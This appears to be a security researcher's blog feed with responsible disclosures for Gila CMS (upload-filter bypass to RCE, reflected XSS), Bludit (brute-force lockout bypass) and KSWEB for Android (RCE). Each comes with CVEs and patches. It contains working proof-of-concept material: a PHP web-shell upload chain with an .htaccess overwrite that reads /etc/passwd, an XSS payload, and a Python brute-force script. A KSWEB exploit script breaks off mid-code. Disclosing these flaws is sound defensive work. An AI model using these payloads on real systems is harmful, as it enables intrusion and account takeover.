rastating.github.io https://rastating.github.io/ The blog of a security researcher addicted to coding. Sat, 07 Dec 2024 15:51:25 +0000 Gila CMS Upload Filter Bypass and RCE /gila-cms-upload-filter-bypass-and-rce/ /gila-cms-upload-filter-bypass-and-rce/ <p>Versions prior to and including 1.11.4 of Gila CMS are vulnerable to remote code execution by users that are permitted to upload media files. It is possible to bypass the media asset upload restrictions that are in place to prevent arbitrary PHP being executed on the server by abusing a combination of two issues.</p> <p>The first is the support for uploading animated GIFs. By submitting a GIF that contains the following content we can place a GIF file that contains [currently unexecutable] PHP code in a GIF file on the server (in this case <code class="language-plaintext highlighter-rouge">test.gif</code>):</p> <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GIF89a; <span class="cp">&lt;?=</span><span class="sb">`$_GET[1]`</span><span class="cp">?&gt;</span> </code></pre></div></div> <p>After uploading this, the file can now be clicked and the move function can be used to move this into another directory within the application directory with a PHP extension (in this case, it is moved to <code class="language-plaintext highlighter-rouge">tmp/media_thumb/shell.php</code>):</p> <p><img src="/assets/images/2019-10-13-gila-cms-upload-bypass-and-rce/rename.png" alt="" /></p> <p>As can be seen in the below screenshot, this is now stored on the server with a valid extension:</p> <p><img src="/assets/images/2019-10-13-gila-cms-upload-bypass-and-rce/shell-on-server.png" alt="" /></p> <p>At this point, the PHP file cannot be executed as the htaccess file found in <code class="language-plaintext highlighter-rouge">tmp/.htaccess</code> contains the following configuration:</p> <div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;Files</span> <span class="err">*.php</span><span class="nt">&gt;</span> deny from all <span class="nt">&lt;/Files&gt;</span> </code></pre></div></div> <p>This prevents any PHP files under <code class="language-plaintext highlighter-rouge">tmp/</code> being accessed. However, the same upload vulnerability can be abused to overwrite the htaccess file. To do this, one uploads a GIF file again but with the content:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># GIF89a; </code></pre></div></div> <p>This creates a GIF file on the server, that starts with a valid comment character, which prevents the server running into an error when parsing it during subsequent requests. The same rename bug can then be used to move this file to <code class="language-plaintext highlighter-rouge">tmp/.htaccess</code>:</p> <p><img src="/assets/images/2019-10-13-gila-cms-upload-bypass-and-rce/htaccess.png" alt="" /></p> <p>After doing this, the PHP file can be accessed from the web browser, and remote code execution is gained as can be seen in the below screenshot in which <code class="language-plaintext highlighter-rouge">cat /etc/passwd</code> is executed:</p> <p><img src="/assets/images/2019-10-13-gila-cms-upload-bypass-and-rce/shell.png" alt="" /></p> <h2 id="versions-affected">Versions Affected</h2> <p>&lt;= 1.11.4</p> <h2 id="solution">Solution</h2> <p>Update to a version later than 1.11.4 or apply the patch found at <a href="https://github.com/GilaCMS/gila/pull/49">https://github.com/GilaCMS/gila/pull/49</a></p> <h2 id="cvss-v3-vector">CVSS v3 Vector</h2> <p><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L/E:P/RL:T/RC:R&amp;version=3.1">AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L/E:P/RL:T/RC:R</a></p> <h2 id="disclosure-timeline">Disclosure Timeline</h2> <ul> <li><strong>2019-10-12</strong>: Vulnerability found</li> <li><strong>2019-10-13</strong>: Patch created and pull request sent to project</li> <li><strong>2019-10-13</strong>: CVE requested</li> <li><strong>2019-10-13</strong>: CVE-2019-17536 assigned</li> </ul> <h2 id="proof-of-concept">Proof of Concept</h2> <p><strong>Step 1: Store blank htaccess stager</strong></p> <div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/gila/admin/media_upload</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="na">Host</span><span class="p">:</span> <span class="s">192.168.194.146</span> <span class="na">Content-Length</span><span class="p">:</span> <span class="s">510</span> <span class="na">Origin</span><span class="p">:</span> <span class="s">http://192.168.194.146</span> <span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36</span> <span class="na">Content-Type</span><span class="p">:</span> <span class="s">multipart/form-data; boundary=----WebKitFormBoundaryOYDZotidj55MOMPD</span> <span class="na">Accept</span><span class="p">:</span> <span class="s">*/*</span> <span class="na">Referer</span><span class="p">:</span> <span class="s">http://192.168.194.146/gila/admin/media</span> <span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span> <span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-GB,en-US;q=0.9,en;q=0.8</span> <span class="na">Cookie</span><span class="p">:</span> <span class="s">PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z</span> <span class="na">Connection</span><span class="p">:</span> <span class="s">close</span> ------WebKitFormBoundaryOYDZotidj55MOMPD Content-Disposition: form-data; name="uploadfiles"; filename="test.gif" Content-Type: image/gif # GIF89a; ------WebKitFormBoundaryOYDZotidj55MOMPD Content-Disposition: form-data; name="formToken" 1=^4podpw4k&amp;8%i ------WebKitFormBoundaryOYDZotidj55MOMPD Content-Disposition: form-data; name="path" assets ------WebKitFormBoundaryOYDZotidj55MOMPD Content-Disposition: form-data; name="g_response" content ------WebKitFormBoundaryOYDZotidj55MOMPD-- </code></pre></div></div> <p><strong>Step 2: Overwrite tmp/.htaccess</strong></p> <div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/gila/fm/move</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="na">Host</span><span class="p">:</span> <span class="s">192.168.194.146</span> <span class="na">Content-Length</span><span class="p">:</span> <span class="s">80</span> <span class="na">Accept</span><span class="p">:</span> <span class="s">*/*</span> <span class="na">Origin</span><span class="p">:</span> <span class="s">http://192.168.194.146</span> <span class="na">X-Requested-With</span><span class="p">:</span> <span class="s">XMLHttpRequest</span> <span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36</span> <span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/x-www-form-urlencoded; charset=UTF-8</span> <span class="na">Referer</span><span class="p">:</span> <span class="s">http://192.168.194.146/gila/admin/media</span> <span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span> <span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-GB,en-US;q=0.9,en;q=0.8</span> <span class="na">Cookie</span><span class="p">:</span> <span class="s">PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z</span> <span class="na">Connection</span><span class="p">:</span> <span class="s">close</span> newpath=tmp%2F.htaccess&amp;path=assets%2Ftest.gif&amp;formToken=1%3D%5E4podpw4k%268%25i </code></pre></div></div> <p><strong>Step 3: Upload PHP shell stager</strong></p> <div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/gila/admin/media_upload</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="na">Host</span><span class="p">:</span> <span class="s">192.168.194.146</span> <span class="na">Content-Length</span><span class="p">:</span> <span class="s">524</span> <span class="na">Origin</span><span class="p">:</span> <span class="s">http://192.168.194.146</span> <span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36</span> <span class="na">Content-Type</span><span class="p">:</span> <span class="s">multipart/form-data; boundary=----WebKitFormBoundaryOYDZotidj55MOMPD</span> <span class="na">Accept</span><span class="p">:</span> <span class="s">*/*</span> <span class="na">Referer</span><span class="p">:</span> <span class="s">http://192.168.194.146/gila/admin/media</span> <span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span> <span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-GB,en-US;q=0.9,en;q=0.8</span> <span class="na">Cookie</span><span class="p">:</span> <span class="s">PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z</span> <span class="na">Connection</span><span class="p">:</span> <span class="s">close</span> ------WebKitFormBoundaryOYDZotidj55MOMPD Content-Disposition: form-data; name="uploadfiles"; filename="test.gif" Content-Type: image/gif GIF89a; &lt;?=`$_GET[1]`?&gt; ------WebKitFormBoundaryOYDZotidj55MOMPD Content-Disposition: form-data; name="formToken" 1=^4podpw4k&amp;8%i ------WebKitFormBoundaryOYDZotidj55MOMPD Content-Disposition: form-data; name="path" assets ------WebKitFormBoundaryOYDZotidj55MOMPD Content-Disposition: form-data; name="g_response" content ------WebKitFormBoundaryOYDZotidj55MOMPD-- </code></pre></div></div> <p><strong>Step 4: Move PHP shell into tmp/media_thumb/shell.php</strong></p> <div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/gila/fm/move</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="na">Host</span><span class="p">:</span> <span class="s">192.168.194.146</span> <span class="na">Content-Length</span><span class="p">:</span> <span class="s">94</span> <span class="na">Accept</span><span class="p">:</span> <span class="s">*/*</span> <span class="na">Origin</span><span class="p">:</span> <span class="s">http://192.168.194.146</span> <span class="na">X-Requested-With</span><span class="p">:</span> <span class="s">XMLHttpRequest</span> <span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36</span> <span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/x-www-form-urlencoded; charset=UTF-8</span> <span class="na">Referer</span><span class="p">:</span> <span class="s">http://192.168.194.146/gila/admin/media</span> <span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span> <span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-GB,en-US;q=0.9,en;q=0.8</span> <span class="na">Cookie</span><span class="p">:</span> <span class="s">PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z</span> <span class="na">Connection</span><span class="p">:</span> <span class="s">close</span> newpath=tmp%2Fmedia_thumb%2Fshell.php&amp;path=assets%2Ftest.gif&amp;formToken=1%3D%5E4podpw4k%268%25i </code></pre></div></div> <p><strong>Step 5: Execute shell command on remote host</strong></p> <div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">GET</span> <span class="nn">/gila/tmp/media_thumb/shell.php?1=cat%20/etc/passwd</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="na">Host</span><span class="p">:</span> <span class="s">192.168.194.146</span> <span class="na">Upgrade-Insecure-Requests</span><span class="p">:</span> <span class="s">1</span> <span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36</span> <span class="na">Accept</span><span class="p">:</span> <span class="s">text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3</span> <span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate</span> <span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-GB,en-US;q=0.9,en;q=0.8</span> <span class="na">Cookie</span><span class="p">:</span> <span class="s">PHPSESSID=c4ih0deald5srb1ur1k3jg13fj; GSESSIONID=1tu6xguu1n7t84deh7b6j4f6k83kslsowcmannst8ztgwout3z</span> <span class="na">Connection</span><span class="p">:</span> <span class="s">close</span> </code></pre></div></div> Sun, 13 Oct 2019 00:00:00 +0000 Gila CMS Reflected XSS /gila-cms-reflected-xss/ /gila-cms-reflected-xss/ <p>Versions prior to and including 1.11.4 of Gila CMS are vulnerable to reflected cross-site scripting. On line 29 and 30 of the <code class="language-plaintext highlighter-rouge">blog-list.php</code> view found in both the <code class="language-plaintext highlighter-rouge">gila-blog</code> and <code class="language-plaintext highlighter-rouge">gila-mag</code> themes, the value of the user provided search criteria is printed back to the response without any sanitisation. This can result in cross-site scripting as can be seen in the below screenshot:</p> <p><img src="/assets/images/2019-10-12-gila-cms-reflected-xss/gila-reflected-xss.png" alt="" /></p> <p>Additionally, as HTTP only cookies are not in use, this can lead to a compromise of an admin session and lead to a takeover of the CMS.</p> <h2 id="proof-of-concept">Proof of Concept</h2> <p><code class="language-plaintext highlighter-rouge">http://gila.host/?search=xss%22+onfocus%3D%22console.log%28document.domain%29%22+autofocus%3D%22true</code></p> <h2 id="versions-affected">Versions Affected</h2> <p>&lt;= 1.11.4</p> <h2 id="solution">Solution</h2> <p>Update to a version later than 1.11.4 or apply the patch found at <a href="https://github.com/GilaCMS/gila/pull/48">https://github.com/GilaCMS/gila/pull/48</a></p> <h2 id="cvss-v3-vector">CVSS v3 Vector</h2> <p><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N/E:F/RL:T/RC:R&amp;version=3.1">AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N/E:F/RL:T/RC:R</a></p> <h2 id="disclosure-timeline">Disclosure Timeline</h2> <ul> <li><strong>2019-10-12</strong>: Vulnerability found, pull request opened with fix</li> <li><strong>2019-10-12</strong>: CVE requested</li> <li><strong>2019-10-13</strong>: CVE-2019-17535 assigned</li> </ul> Sat, 12 Oct 2019 00:00:00 +0000 Bludit Brute Force Mitigation Bypass /bludit-brute-force-mitigation-bypass/ /bludit-brute-force-mitigation-bypass/ <p>Versions prior to and including 3.9.2 of the Bludit CMS are vulnerable to a bypass of the anti-brute force mechanism that is in place to block users that have attempted to incorrectly login 10 times or more. Within the <code class="language-plaintext highlighter-rouge">bl-kernel/security.class.php</code> file, there is a function named <code class="language-plaintext highlighter-rouge">getUserIp</code> which attempts to determine the <em>true</em> IP address of the end user by trusting the <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> and <code class="language-plaintext highlighter-rouge">Client-IP</code> HTTP headers:</p> <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="n">getUserIp</span><span class="p">()</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="nb">getenv</span><span class="p">(</span><span class="s1">'HTTP_X_FORWARDED_FOR'</span><span class="p">))</span> <span class="p">{</span> <span class="nv">$ip</span> <span class="o">=</span> <span class="nb">getenv</span><span class="p">(</span><span class="s1">'HTTP_X_FORWARDED_FOR'</span><span class="p">);</span> <span class="p">}</span> <span class="k">elseif</span> <span class="p">(</span><span class="nb">getenv</span><span class="p">(</span><span class="s1">'HTTP_CLIENT_IP'</span><span class="p">))</span> <span class="p">{</span> <span class="nv">$ip</span> <span class="o">=</span> <span class="nb">getenv</span><span class="p">(</span><span class="s1">'HTTP_CLIENT_IP'</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nv">$ip</span> <span class="o">=</span> <span class="nb">getenv</span><span class="p">(</span><span class="s1">'REMOTE_ADDR'</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="nv">$ip</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>The reasoning behind the checking of these headers is to determine the IP address of end users who are accessing the website behind a proxy, however, trusting these headers allows an attacker to easily spoof the source address. Additionally, no validation is carried out to ensure they are valid IP addresses, meaning that an attacker can use any arbitrary value and not risk being locked out.</p> <p>As can be seen in the content of the log file below (found in <code class="language-plaintext highlighter-rouge">bl-content/databases/security.php</code>), submitting a login request with an <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code> header value of <code class="language-plaintext highlighter-rouge">FakeIp</code> was processed successfully, and the failed login attempt was logged against the spoofed string:</p> <div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nl">"minutesBlocked"</span><span class="p">:</span><span class="w"> </span><span class="mi">5</span><span class="p">,</span><span class="w"> </span><span class="nl">"numberFailuresAllowed"</span><span class="p">:</span><span class="w"> </span><span class="mi">10</span><span class="p">,</span><span class="w"> </span><span class="nl">"blackList"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nl">"192.168.194.1"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nl">"lastFailure"</span><span class="p">:</span><span class="w"> </span><span class="mi">1570286876</span><span class="p">,</span><span class="w"> </span><span class="nl">"numberFailures"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="nl">"10.10.10.10"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nl">"lastFailure"</span><span class="p">:</span><span class="w"> </span><span class="mi">1570286993</span><span class="p">,</span><span class="w"> </span><span class="nl">"numberFailures"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="nl">"FakeIp"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nl">"lastFailure"</span><span class="p">:</span><span class="w"> </span><span class="mi">1570287052</span><span class="p">,</span><span class="w"> </span><span class="nl">"numberFailures"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">}</span><span class="w"> </span></code></pre></div></div> <p>By automating the generation of unique header values, prolonged brute force attacks can be carried out without risk of being blocked after 10 failed attempts, as can be seen in the demonstration video below in which a total of 51 attempts are made prior to recovering the correct password.</p> <h2 id="demonstration">Demonstration</h2> <script id="asciicast-272661" src="https://asciinema.org/a/272661.js" async=""></script> <noscript><a href="https://asciinema.org/a/272661" target="\_blank"><img src="https://asciinema.org/a/272661.svg" /></a></noscript> <h2 id="versions-affected">Versions Affected</h2> <p>&lt;= 3.9.2</p> <h2 id="solution">Solution</h2> <p>Update to a version later than 3.9.2 or apply the patch found at <a href="https://github.com/bludit/bludit/pull/1090">https://github.com/bludit/bludit/pull/1090</a></p> <h2 id="cvss-v3-vector">CVSS v3 Vector</h2> <p><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RL:W/RC:R&amp;version=3.1">AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RL:W/RC:R</a></p> <h2 id="disclosure-timeline">Disclosure Timeline</h2> <ul> <li><strong>2019-10-05</strong>: Vulnerability found, pull request opened with fix</li> <li><strong>2019-10-05</strong>: CVE requested</li> <li><strong>2019-10-05</strong>: Patch merged into master branch</li> <li><strong>2019-10-06</strong>: CVE-2019-17240 assigned to issue</li> </ul> <h2 id="proof-of-concept">Proof of Concept</h2> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3 </span><span class="kn">import</span> <span class="nn">re</span> <span class="kn">import</span> <span class="nn">requests</span> <span class="n">host</span> <span class="o">=</span> <span class="s">'http://192.168.194.146/bludit'</span> <span class="n">login_url</span> <span class="o">=</span> <span class="n">host</span> <span class="o">+</span> <span class="s">'/admin/login'</span> <span class="n">username</span> <span class="o">=</span> <span class="s">'admin'</span> <span class="n">wordlist</span> <span class="o">=</span> <span class="p">[]</span> <span class="c1"># Generate 50 incorrect passwords </span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">50</span><span class="p">):</span> <span class="n">wordlist</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="s">'Password{i}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="n">i</span><span class="p">))</span> <span class="c1"># Add the correct password to the end of the list </span><span class="n">wordlist</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="s">'adminadmin'</span><span class="p">)</span> <span class="k">for</span> <span class="n">password</span> <span class="ow">in</span> <span class="n">wordlist</span><span class="p">:</span> <span class="n">session</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">Session</span><span class="p">()</span> <span class="n">login_page</span> <span class="o">=</span> <span class="n">session</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">login_url</span><span class="p">)</span> <span class="n">csrf_token</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">'input.+?name="tokenCSRF".+?value="(.+?)"'</span><span class="p">,</span> <span class="n">login_page</span><span class="p">.</span><span class="n">text</span><span class="p">).</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="k">print</span><span class="p">(</span><span class="s">'[*] Trying: {p}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">p</span> <span class="o">=</span> <span class="n">password</span><span class="p">))</span> <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span> <span class="s">'X-Forwarded-For'</span><span class="p">:</span> <span class="n">password</span><span class="p">,</span> <span class="s">'User-Agent'</span><span class="p">:</span> <span class="s">'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36'</span><span class="p">,</span> <span class="s">'Referer'</span><span class="p">:</span> <span class="n">login_url</span> <span class="p">}</span> <span class="n">data</span> <span class="o">=</span> <span class="p">{</span> <span class="s">'tokenCSRF'</span><span class="p">:</span> <span class="n">csrf_token</span><span class="p">,</span> <span class="s">'username'</span><span class="p">:</span> <span class="n">username</span><span class="p">,</span> <span class="s">'password'</span><span class="p">:</span> <span class="n">password</span><span class="p">,</span> <span class="s">'save'</span><span class="p">:</span> <span class="s">''</span> <span class="p">}</span> <span class="n">login_result</span> <span class="o">=</span> <span class="n">session</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">login_url</span><span class="p">,</span> <span class="n">headers</span> <span class="o">=</span> <span class="n">headers</span><span class="p">,</span> <span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="p">,</span> <span class="n">allow_redirects</span> <span class="o">=</span> <span class="bp">False</span><span class="p">)</span> <span class="k">if</span> <span class="s">'location'</span> <span class="ow">in</span> <span class="n">login_result</span><span class="p">.</span><span class="n">headers</span><span class="p">:</span> <span class="k">if</span> <span class="s">'/admin/dashboard'</span> <span class="ow">in</span> <span class="n">login_result</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="s">'location'</span><span class="p">]:</span> <span class="k">print</span><span class="p">()</span> <span class="k">print</span><span class="p">(</span><span class="s">'SUCCESS: Password found!'</span><span class="p">)</span> <span class="k">print</span><span class="p">(</span><span class="s">'Use {u}:{p} to login.'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">u</span> <span class="o">=</span> <span class="n">username</span><span class="p">,</span> <span class="n">p</span> <span class="o">=</span> <span class="n">password</span><span class="p">))</span> <span class="k">print</span><span class="p">()</span> <span class="k">break</span> </code></pre></div></div> Sat, 05 Oct 2019 00:00:00 +0000 KSWEB for Android Remote Code Execution /ksweb-android-remote-code-execution/ /ksweb-android-remote-code-execution/ <p>KSWEB is an Android application used to allow an Android device to act as a web server. Bundled with this mobile application, are several management tools with one-click installers which are installed with predefined sets of credentials.</p> <p>One of the tools, is a tool developed by the vendor of KSWEB themselves; which is KSWEB Web Interface. This web application allows authenticated users to update several core settings, including the configuration of the various server packages.</p> <p>As can be seen in the screenshot below (which also shows a local file disclosure via the <code class="language-plaintext highlighter-rouge">hostFile</code> parameter), the selected file is made visible in a text editor and the changes can be saved by clicking the button in the top right corner of the editor.</p> <p><img src="/assets/images/2019-10-02-ksweb-android-remote-code-execution/lfi.png" alt="" /></p> <p>When the save button is hit, a request is sent to the AJAX handler, like this:</p> <div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/includes/ajax/handler.php</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="na">Host</span><span class="p">:</span> <span class="s">localhost:8002</span> <span class="na">Connection</span><span class="p">:</span> <span class="s">keep-alive</span> <span class="na">Content-Length</span><span class="p">:</span> <span class="s">1912</span> <span class="na">Authorization</span><span class="p">:</span> <span class="s">Basic YWRtaW46YWRtaW4=</span> <span class="na">Accept</span><span class="p">:</span> <span class="s">*/*</span> <span class="na">X-Requested-With</span><span class="p">:</span> <span class="s">XMLHttpRequest</span> <span class="na">User-Agent</span><span class="p">:</span> <span class="s">Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36</span> <span class="na">Sec-Fetch-Mode</span><span class="p">:</span> <span class="s">cors</span> <span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/x-www-form-urlencoded; charset=UTF-8</span> <span class="na">Origin</span><span class="p">:</span> <span class="s">http://localhost:8002</span> <span class="na">Sec-Fetch-Site</span><span class="p">:</span> <span class="s">same-origin</span> <span class="na">Referer</span><span class="p">:</span> <span class="s">http://localhost:8002/?page=5</span> <span class="na">Accept-Encoding</span><span class="p">:</span> <span class="s">gzip, deflate, br</span> <span class="na">Accept-Language</span><span class="p">:</span> <span class="s">en-GB,en-US;q=0.9,en;q=0.8</span> act=save_config&amp;configFile=%2Fdata%2Fdata%2Fru.kslabs.ksweb%2Fcomponents%2Fmysql%2Fconf%2Fmy.ini&amp;config_text=**long config file content ommitted* </code></pre></div></div> <p>As can be seen in the above request, the full path to the file being written to is found in the <code class="language-plaintext highlighter-rouge">configFile</code> field. As there is no whitelist of files that can be written to, and due to the write permissions of the KSWEB Web Interface application directory not being restricted, it is possible to use this to write a PHP file to the <code class="language-plaintext highlighter-rouge">/data/data/ru.kslabs.ksweb/components/web/www/</code> directory, which will provide command execution.</p> <p>Additionally, KSWEB supports running as root, meaning that if the user has allowed access as root, full control of the device can be gained via this vulnerability, as can be seen in the screenshot of the PoC below:</p> <p><img src="/assets/images/2019-10-02-ksweb-android-remote-code-execution/ksweb-shell.jpg" alt="" /></p> <h2 id="play-store-installs">Play Store Installs</h2> <p>100,000+</p> <h2 id="play-store-link">Play Store Link</h2> <p><a href="https://play.google.com/store/apps/details?id=ru.kslabs.ksweb&amp;gl=GB">https://play.google.com/store/apps/details?id=ru.kslabs.ksweb&amp;gl=GB</a></p> <h2 id="solution">Solution</h2> <p>Upgrade to version 3.94 or later</p> <h2 id="cvss-v3-vector">CVSS v3 Vector</h2> <p><a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N/E:P/RL:W/RC:R">AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N/E:P/RL:W/RC:R</a></p> <h2 id="disclosure-timeline">Disclosure Timeline</h2> <ul> <li><strong>2019-08-27</strong>: Vulnerability found, vendor contacted</li> <li><strong>2019-08-27</strong>: CVE requested</li> <li><strong>2019-08-29</strong>: CVE-2019-15766 assigned for the RCE</li> <li><strong>2019-08-29</strong>: Vendor responded to confirm issue will be being fixed in an update</li> <li><strong>2019-09-10</strong>: CVE-2019-16198 assigned for the LFD vulnerability</li> <li><strong>2019-09-21</strong>: Contact vendor to check status of patch</li> <li><strong>2019-10-01</strong>: Version 3.94 released to fix vulnerabilities</li> </ul> <h2 id="proof-of-concept">Proof of Concept</h2> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span> <span class="kn">import</span> <span class="nn">sys</span> <span class="kn">from</span> <span class="nn">requests.auth</span> <span class="kn">import</span> <span class="n">HTTPBasicAuth</span> <span class="n">BOLD</span> <span class="o">=</span> <span class="s">'</span><span class="se">\033</span><span class="s">[1m'</span> <span class="n">GREEN</span> <span class="o">=</span> <span class="s">'</span><span class="se">\033</span><span class="s">[92m'</span> <span class="n">FAIL</span> <span class="o">=</span> <span class="s">'</span><span class="se">\033</span><span class="s">[93m'</span> <span class="n">RESET</span> <span class="o">=</span> <span class="s">'</span><span class="se">\033</span><span class="s">[0m'</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">:</span> <span class="k">print</span> <span class="s">'Usage: python {file} target_ip [username] [password]'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="nb">file</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">username</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">2</span> <span class="k">else</span> <span class="s">'admin'</span> <span class="n">password</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="k">if</span> <span class="nb">len</span><span 